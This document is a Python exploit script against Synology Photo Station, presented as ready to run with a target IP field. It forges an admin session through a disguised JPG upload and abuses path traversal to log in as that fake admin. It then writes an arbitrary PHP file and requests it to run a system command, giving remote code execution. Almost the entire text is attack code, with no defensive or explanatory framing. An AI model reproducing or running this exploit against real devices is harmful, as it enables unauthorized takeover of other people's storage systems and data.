Synology.py

import requests

# What server you want to attack
synology_ip = 'http://192.168.1.100'

# Your current IP
ip = '192.168.1.200'

# PHP code you want to execute
php_to_execute = '<?php echo system("id"); ?>'

encoded_session = 'root|a:2:{s:19:"security_identifier";s:'+str(len(ip))+':"'+ip+'";s:15:"admin_syno_user";s:7:"hlinak3";}'

print "[+] Set fake admin sesssion"
file = [('file', ('foo.jpg', encoded_session))]

r = requests.post('{}/photo/include/synotheme_upload.php'.format(synology_ip), data = {'action':'logo_upload'}, files=file)
print r.text

print "[+] Login as fake admin"

# Depends on version it might be stored in different dirs
payload = {'session': '/../../../../../var/packages/PhotoStation/etc/blog/photo_custom_preview_logo.png'}
# payload = {'session': '/../../../../../var/services/photo/@eaDir/SYNOPHOTO_THEME_DIR/photo_custom_preview_logo.png'}

try_login = requests.post('{}/photo/include/file_upload.php'.format(synology_ip), params=payload)

whichact = {'action' : 'get_setting'}
r = requests.post('{}/photo/admin/general_setting.php'.format(synology_ip), data=whichact, cookies=try_login.cookies)
print r.text

print "[+] Upload php file"

c = {'action' : 'save', 'image' : 'data://text/plain;base64,'+php_to_execute.encode('base64'), 'path' : '/volume1/photo/../../../volume1/@appstore/PhotoStation/photo/facebook/exploit'.encode("base64"), 'type' : 'php'}
r = requests.post('{}/photo/PixlrEditorHandler.php'.format(synology_ip), data=c, cookies=try_login.cookies)
print r.text


print "[+] Execute payload"
f = requests.get('{}/photo/facebook/exploit.php'.format(synology_ip))

print f.text